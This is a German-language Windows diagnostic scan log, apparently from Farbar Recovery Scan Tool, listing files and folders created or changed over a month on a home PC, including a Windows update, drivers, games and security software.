2017-04-14 03:38 - 2017-04-14 03:38 - 23680512 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 23675392 _____ (Microsoft Corporation) C:\Windows\system32\edgehtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 20505600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\edgehtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 19334144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 12787200 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 11869696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 08319392 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 08247296 _____ (Microsoft Corporation) C:\Windows\system32\Chakra.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 07904784 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.Protection.PlayReady.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 06756920 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.Protection.PlayReady.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 06296064 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Chakra.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 05477088 _____ (Microsoft Corporation) C:\Windows\system32\OneCoreUAPCommonProxyStub.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 03672064 _____ (Microsoft Corporation) C:\Windows\system32\win32kfull.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 02957824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\win32kfull.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 02444184 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgkrnl.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 02085280 _____ (Microsoft Corporation) C:\Windows\system32\UpdateAgent.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01760264 _____ (Microsoft Corporation) C:\Windows\system32\WindowsCodecs.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01657344 _____ (Microsoft Corporation) C:\Windows\system32\XpsPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01605632 _____ (Microsoft Corporation) C:\Windows\system32\quartz.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01604312 _____ (Microsoft Corporation) C:\Windows\system32\gdi32full.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01518088 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WindowsCodecs.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01506816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\quartz.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01411640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32full.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01356800 _____ (Microsoft Corporation) C:\Windows\system32\audiosrv.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01323880 _____ (Microsoft Corporation) C:\Windows\system32\ole32.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01147296 _____ (Microsoft Corporation) C:\Windows\system32\hvix64.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 01060352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XpsPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01024416 _____ (Microsoft Corporation) C:\Windows\system32\hvax64.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 00986592 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ole32.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00805376 _____ (Microsoft Corporation) C:\Windows\system32\ieproxy.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00750560 _____ (Microsoft Corporation) C:\Windows\system32\fontdrvhost.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 00626520 _____ (Microsoft Corporation) C:\Windows\SysWOW64\fontdrvhost.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 00624640 _____ (Microsoft Corporation) C:\Windows\system32\AudioEndpointBuilder.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00545792 _____ (Microsoft Corporation) C:\Windows\system32\winspool.drv

2017-04-14 03:38 - 2017-04-14 03:38 - 00433664 _____ (Microsoft Corporation) C:\Windows\system32\msIso.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00429568 _____ (Microsoft Corporation) C:\Windows\SysWOW64\winspool.drv

2017-04-14 03:38 - 2017-04-14 03:38 - 00409504 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgmms1.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 00382368 _____ (Adobe Systems Incorporated) C:\Windows\system32\atmfd.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00364032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msIso.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00357888 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieproxy.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00354360 _____ (Microsoft Corporation) C:\Windows\SysWOW64\bcryptprimitives.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00347136 _____ (Microsoft Corporation) C:\Windows\system32\XpsDocumentTargetPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00311192 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\atmfd.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00252928 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XpsDocumentTargetPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00205728 _____ (Microsoft Corporation) C:\Windows\system32\browserbroker.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00119296 _____ (Microsoft Corporation) C:\Windows\system32\UserDataTimeUtil.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00094720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\UserDataTimeUtil.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00091648 _____ (Microsoft Corporation) C:\Windows\system32\mfmjpegdec.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\asycfilt.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00081408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mfmjpegdec.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00078336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\asycfilt.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00047104 _____ (Adobe Systems) C:\Windows\system32\atmlib.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00038912 _____ (Adobe Systems) C:\Windows\SysWOW64\atmlib.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00035840 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\BasicRender.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 00032004 _____ C:\Windows\system32\edgehtmlpluginpolicy.bin

2017-04-14 03:38 - 2017-04-14 03:38 - 00000000 ____D C:\Windows.old

2017-04-14 03:37 - 2017-04-14 03:37 - 00543648 _____ (Microsoft Corporation) C:\Windows\system32\securekernel.exe

2017-04-14 03:37 - 2017-04-14 03:37 - 00388000 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\USBXHCI.SYS

2017-04-14 03:36 - 2017-04-14 03:36 - 00008192 _____ C:\Windows\system32\config\userdiff

2017-04-14 03:36 - 2017-04-14 02:41 - 00000000 ____D C:\Windows\ServiceProfiles

2017-04-14 03:34 - 2017-04-14 03:34 - 00000000 ____H C:\$WINRE_BACKUP_PARTITION.MARKER

2017-04-14 02:52 - 2017-04-23 23:28 - 01987136 _____ C:\Windows\system32\PerfStringBackup.INI

2017-04-14 02:50 - 2017-04-14 02:50 - 00000000 ____D C:\ProgramData\USOShared

2017-04-14 02:49 - 2017-04-14 02:49 - 00000020 ___SH C:\Users\Andy\ntuser.ini

2017-04-14 02:49 - 2017-04-14 02:49 - 00000000 ____D C:\ProgramData\Microsoft OneDrive

2017-04-14 02:47 - 2017-04-14 02:47 - 00011433 _____ C:\Windows\diagwrn.xml

2017-04-14 02:47 - 2017-04-14 02:47 - 00011433 _____ C:\Windows\diagerr.xml

2017-04-14 02:46 - 2017-04-23 23:22 - 00000006 ____H C:\Windows\Tasks\SA.DAT

2017-04-14 02:46 - 2017-04-20 05:35 - 00003994 _____ C:\Windows\System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00004308 _____ C:\Windows\System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003894 _____ C:\Windows\System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003866 _____ C:\Windows\System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003858 _____ C:\Windows\System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003696 _____ C:\Windows\System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003654 _____ C:\Windows\System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-14 02:50 - 00003278 _____ C:\Windows\System32\Tasks\OneDrive Standalone Update Task v2

2017-04-14 02:46 - 2017-04-14 02:46 - 00022960 _____ C:\Windows\system32\emptyregdb.dat

2017-04-14 02:44 - 2017-04-14 02:44 - 00001576 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Media Player.lnk

2017-04-14 02:42 - 2017-04-22 11:25 - 00000000 ____D C:\Users\Andy

2017-04-14 02:42 - 2017-04-14 02:46 - 00000000 ____D C:\Users\defaultuser0

2017-04-14 02:42 - 2017-04-14 02:44 - 00000000 ____D C:\Windows\system32\config\bbimigrate

2017-04-14 02:42 - 2017-04-14 02:43 - 00000000 ____D C:\ProgramData\Package Cache

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Vorlagen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Startmenü

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Netzwerkumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Lokale Einstellungen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Eigene Dateien

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Druckumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Eigene Videos

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Eigene Musik

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Eigene Bilder

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\AppData\Roaming\Microsoft\Windows\Start Menu\Programme

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\AppData\Local\Verlauf

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\AppData\Local\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Vorlagen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Startmenü

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Netzwerkumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Lokale Einstellungen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Eigene Dateien

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Druckumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Documents\Eigene Videos

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Documents\Eigene Musik

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Documents\Eigene Bilder

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programme

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\AppData\Local\Verlauf

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\AppData\Local\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Razer

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 ____D C:\Program Files\Razer Chroma SDK

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 ____D C:\Program Files (x86)\Razer Chroma SDK

2017-04-14 02:41 - 2017-04-23 23:23 - 00000000 ____D C:\ProgramData\NVIDIA

2017-04-14 02:41 - 2017-04-23 23:12 - 00000000 ____D C:\Windows\system32\SleepStudy

2017-04-14 02:41 - 2017-04-20 05:35 - 00000000 ____D C:\ProgramData\NVIDIA Corporation

2017-04-14 02:41 - 2017-04-20 05:34 - 00000000 ____D C:\Program Files\NVIDIA Corporation

2017-04-14 02:41 - 2017-04-20 05:34 - 00000000 ____D C:\Program Files (x86)\NVIDIA Corporation

2017-04-14 02:41 - 2017-04-14 23:24 - 00399264 _____ C:\Windows\system32\FNTCACHE.DAT

2017-04-14 02:41 - 2017-04-14 15:13 - 00000000 ____D C:\Program Files (x86)\Razer

2017-04-14 02:41 - 2017-04-14 02:43 - 00000000 ____D C:\ProgramData\Razer

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____H C:\Windows\system32\Drivers\Msft_User_WpdFs_01_11_00.Wdf

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____H C:\ProgramData\DP45977C.lfl

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____D C:\Windows\SysWOW64\RTCOM

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____D C:\Windows\system32\DAX2

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____D C:\Program Files\Realtek

2017-04-14 02:41 - 2017-03-28 03:25 - 00001951 _____ C:\Windows\NvContainerRecovery.bat

2017-04-14 02:41 - 2017-03-18 22:56 - 02233344 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PrintConfig.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 06401984 _____ (NVIDIA Corporation) C:\Windows\system32\nvcpl.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 02477504 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvc64.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 01762752 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvcr.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00549944 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshext.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00392128 _____ (NVIDIA Corporation) C:\Windows\system32\nvmctray.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00081856 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshextr.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00069568 _____ (NVIDIA Corporation) C:\Windows\system32\nvshext.dll

2017-04-14 02:41 - 2017-03-16 11:39 - 07813427 _____ C:\Windows\system32\nvcoproc.bin

2017-04-14 02:32 - 2017-04-14 02:32 - 00008192 __RSH C:\BOOTSECT.BAK

2017-04-14 01:49 - 2017-04-14 02:49 - 00000000 ___DC C:\Windows\Panther

2017-04-13 20:17 - 2017-04-13 20:17 - 00000000 ____D C:\Users\Andy\Documents\My Games

2017-04-13 15:29 - 2017-04-13 15:29 - 00000000 ____D C:\Users\Andy\AppData\Local\UNP

2017-04-13 09:13 - 2017-04-14 02:44 - 00000000 ____D C:\Windows\system32\UNP

2017-04-13 09:13 - 2017-04-13 09:14 - 00000000 ____D C:\Program Files\UNP

2017-04-13 01:34 - 2017-04-13 01:34 - 00000000 ____D C:\Users\Default\AppData\Local\Microsoft Help

2017-04-13 01:34 - 2017-04-13 01:34 - 00000000 ____D C:\Users\Default User\AppData\Local\Microsoft Help

2017-04-12 20:47 - 2017-04-14 02:44 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight

2017-04-12 20:47 - 2017-04-12 20:47 - 00000000 ____D C:\Program Files\Microsoft Silverlight

2017-04-12 20:47 - 2017-04-12 20:47 - 00000000 ____D C:\Program Files (x86)\Microsoft Silverlight

2017-04-12 18:41 - 2017-03-28 07:37 - 00031232 _____ (Microsoft Corporation) C:\Windows\system32\DdcWnsListener.dll

2017-04-12 18:41 - 2017-03-28 07:28 - 00261632 _____ (Microsoft Corporation) C:\Windows\system32\indexeddbserver.dll

2017-04-06 03:03 - 2017-04-06 03:03 - 00000000 ____D C:\Users\Andy\Documents\Diablo II

2017-04-06 02:54 - 2017-04-14 02:44 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Diablo II

2017-04-06 02:54 - 2017-04-06 03:08 - 00001230 _____ C:\Users\Public\Desktop\Diablo II - Lord of Destruction.lnk

2017-04-06 02:52 - 2017-04-23 23:34 - 00000000 ____D C:\Users\Andy\Desktop\Dokumente 2017

2017-04-06 02:51 - 2017-04-06 03:49 - 00000000 ____D C:\Program Files (x86)\Diablo II

2017-04-06 02:51 - 2017-04-06 02:52 - 00000000 ____D C:\Users\Andy\Desktop\Desktop Bilder 2017

2017-04-06 01:21 - 2017-04-06 01:21 - 00000000 ____D C:\Users\Andy\AppData\Roaming\.mono

2017-04-06 01:21 - 2017-04-06 01:21 - 00000000 ____D C:\Users\Andy\AppData\LocalLow\Blizzard Entertainment

2017-04-06 01:21 - 2017-04-06 01:21 - 00000000 ____D C:\ProgramData\.mono

2017-04-06 01:20 - 2017-04-06 01:20 - 00000000 ____D C:\Users\Andy\AppData\Local\Blizzard

2017-04-02 08:15 - 2017-04-02 08:15 - 00087904 _____ (Microsoft Corporation) C:\Windows\system32\UNPUXWorker.exe

2017-04-01 12:08 - 2017-04-01 12:08 - 00000000 ____D C:\Users\Andy\AppData\Local\Apowersoft

2017-04-01 12:08 - 2017-04-01 12:08 - 00000000 ____D C:\ProgramData\Apowersoft

2017-04-01 11:48 - 2017-04-01 11:48 - 00000000 ____H C:\Windows\system32\Drivers\Msft_User_WpdMtpDr_01_11_00.Wdf

2017-03-31 16:21 - 2017-04-14 02:49 - 00000458 __RSH C:\ProgramData\ntuser.pol

2017-03-30 22:33 - 2017-04-14 02:43 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype

2017-03-30 22:33 - 2017-03-30 22:33 - 00000000 ___RD C:\Program Files (x86)\Skype
 

==================== Ein Monat: Geänderte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2017-04-23 23:28 - 2017-03-20 06:41 - 00886510 _____ C:\Windows\system32\perfh007.dat

2017-04-23 23:28 - 2017-03-20 06:41 - 00189392 _____ C:\Windows\system32\perfc007.dat

2017-04-23 23:23 - 2017-03-15 18:53 - 00092096 _____ (Malwarebytes) C:\Windows\system32\Drivers\mwac.sys

2017-04-23 23:23 - 2017-03-09 21:49 - 00000054 _____ C:\Users\Public\Documents\OSCFile.txt

2017-04-23 23:22 - 2017-03-18 13:40 - 00524288 _____ C:\Windows\system32\config\BBI

2017-04-23 23:22 - 2017-03-15 18:53 - 00251832 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMSwissArmy.sys

2017-04-23 23:22 - 2017-03-15 18:53 - 00111544 _____ (Malwarebytes) C:\Windows\system32\Drivers\farflt.sys

2017-04-23 23:22 - 2017-03-15 18:53 - 00043968 _____ (Malwarebytes) C:\Windows\system32\Drivers\mbam.sys

2017-04-23 02:40 - 2017-02-16 02:30 - 00000000 ____D C:\Program Files (x86)\SpeedFan

2017-04-23 00:40 - 2017-03-18 23:03 - 00000000 ___HD C:\Program Files\WindowsApps

2017-04-23 00:40 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\AppReadiness

2017-04-23 00:37 - 2017-02-17 09:30 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Hide.me

2017-04-22 11:13 - 2017-02-16 11:41 - 00000000 ____D C:\Users\Andy\AppData\Local\JDownloader v2.0

2017-04-22 11:02 - 2017-02-16 11:59 - 00000000 ____D C:\Program Files (x86)\Steam

2017-04-22 07:53 - 2017-03-04 03:44 - 00000000 ____D C:\Windows\pss

2017-04-22 05:04 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\SysWOW64\Macromed

2017-04-22 05:04 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\Macromed

2017-04-21 03:28 - 2017-03-15 18:53 - 00186304 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMChameleon.sys

2017-04-21 03:16 - 2017-02-16 12:06 - 00000000 ____D C:\Users\Andy\AppData\Roaming\vlc

2017-04-21 01:19 - 2017-02-16 11:54 - 00000000 ____D C:\Users\Andy\AppData\Local\Battle.net

2017-04-21 00:10 - 2017-02-20 16:40 - 00000000 ____D C:\Program Files (x86)\Overwatch

2017-04-20 22:39 - 2017-02-15 22:37 - 00000000 ____D C:\Users\Andy\AppData\Local\CrashDumps

2017-04-20 05:37 - 2017-03-18 23:01 - 00000000 ____D C:\Windows\INF

2017-04-17 17:45 - 2017-02-16 11:53 - 00000000 ____D C:\Program Files (x86)\Battle.net

2017-04-17 17:45 - 2017-02-15 22:29 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Skype

2017-04-17 05:01 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\rescache

2017-04-15 04:00 - 2017-02-15 22:32 - 00000000 ____D C:\Program Files\Common Files\logishrd

2017-04-14 08:01 - 2017-03-18 22:51 - 00000000 ____D C:\Windows\CbsTemp

2017-04-14 04:36 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\appcompat

2017-04-14 03:40 - 2017-03-18 23:03 - 00028672 _____ C:\Windows\system32\config\BCD-Template

2017-04-14 03:38 - 2017-03-18 23:06 - 00000000 ____D C:\Windows\Setup

2017-04-14 03:05 - 2017-02-15 22:27 - 00000000 ____D C:\Users\Andy\AppData\Local\Packages

2017-04-14 02:50 - 2017-03-18 23:03 - 00000000 ____D C:\ProgramData\USOPrivate

2017-04-14 02:50 - 2017-02-15 22:29 - 00002380 _____ C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk

2017-04-14 02:50 - 2017-02-15 22:29 - 00000000 ___RD C:\Users\Andy\OneDrive

2017-04-14 02:49 - 2017-03-18 23:03 - 00000000 ___RD C:\Windows\ImmersiveControlPanel

2017-04-14 02:49 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Windows NT

2017-04-14 02:49 - 2017-02-15 22:27 - 00000000 __RHD C:\Users\Public\AccountPictures

2017-04-14 02:48 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\WinBioDatabase

2017-04-14 02:48 - 2017-03-18 13:40 - 00032768 _____ C:\Windows\system32\config\ELAM

2017-04-14 02:47 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\Registration

2017-04-14 02:47 - 2017-03-18 23:03 - 00000000 ____D C:\ProgramData\regid.1991-06.com.microsoft

2017-04-14 02:47 - 2016-07-16 13:47 - 00000000 ____D C:\Windows\system32\Tasks_Migrated

2017-04-14 02:46 - 2017-03-20 06:43 - 00000000 ____D C:\Windows\HoloShell

2017-04-14 02:46 - 2017-03-18 23:03 - 00000000 __RHD C:\Users\Public\Libraries

2017-04-14 02:44 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\FxsTmp

2017-04-14 02:44 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\LiveKernelReports

2017-04-14 02:44 - 2017-03-15 18:53 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes

2017-04-14 02:44 - 2017-03-09 21:32 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\OnScreen Control

2017-04-14 02:44 - 2017-02-22 12:47 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3

2017-04-14 02:44 - 2017-02-20 22:45 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Overwatch

2017-04-14 02:44 - 2017-02-17 13:06 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java

2017-04-14 02:44 - 2017-02-17 13:04 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Minecraft

2017-04-14 02:44 - 2017-02-17 09:50 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2016-Tools

2017-04-14 02:44 - 2017-02-17 09:48 - 00000000 ____D C:\Windows\SHELLNEW

2017-04-14 02:44 - 2017-02-17 09:44 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\DAEMON Tools Ultra

2017-04-14 02:44 - 2017-02-17 09:30 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\hide.me VPN

2017-04-14 02:44 - 2017-02-16 12:07 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CrystalDiskInfo

2017-04-14 02:44 - 2017-02-16 12:06 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN

2017-04-14 02:44 - 2017-02-16 11:59 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam

2017-04-14 02:44 - 2017-02-16 11:54 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Battle.net

2017-04-14 02:44 - 2017-02-16 11:42 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\JDownloader

2017-04-14 02:44 - 2017-02-16 11:02 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR

2017-04-14 02:44 - 2017-02-16 11:02 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WinRAR

2017-04-14 02:44 - 2017-02-16 02:30 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\SpeedFan

2017-04-14 02:44 - 2017-02-15 22:31 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\NVIDIA Corporation

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\spool

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\NDF

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\System

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\microsoft shared

2017-04-14 02:43 - 2017-03-14 05:12 - 00000000 ____D C:\Windows\system32\appmgmt

2017-04-14 02:43 - 2017-03-14 05:08 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HP

2017-04-14 02:43 - 2017-03-03 23:33 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CPUID

2017-04-14 02:42 - 2017-03-18 13:40 - 00000000 ____D C:\Windows\system32\Sysprep

2017-04-14 02:42 - 2017-02-15 22:26 - 00000000 ____D C:\Users\defaultuser0\AppData\Local\Packages

2017-04-14 02:42 - 2016-07-16 13:47 - 00000000 ___HD C:\Windows\system32\GroupPolicy

2017-04-14 02:41 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\Help

2017-04-14 02:29 - 2017-03-20 07:06 - 00000000 ___HD C:\$WINDOWS.~BT

2017-04-13 19:38 - 2017-02-21 12:38 - 00000000 ____D C:\Users\Andy\Documents\Overwatch

2017-04-13 01:30 - 2016-07-16 13:47 - 00000167 _____ C:\Windows\win.ini

2017-04-12 21:45 - 2017-02-16 02:52 - 00000000 ____D C:\Windows\system32\MRT

2017-04-12 21:43 - 2017-02-16 02:52 - 148601744 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe

2017-04-12 18:46 - 2017-03-15 18:53 - 00077440 _____ C:\Windows\system32\Drivers\mbae64.sys

2017-04-09 23:57 - 2017-02-17 09:30 - 00000000 ____D C:\Program Files (x86)\hide.me VPN

2017-04-08 16:12 - 2017-02-16 02:34 - 00532136 _____ (Microsoft Corporation) C:\Windows\system32\MpSigStub.exe

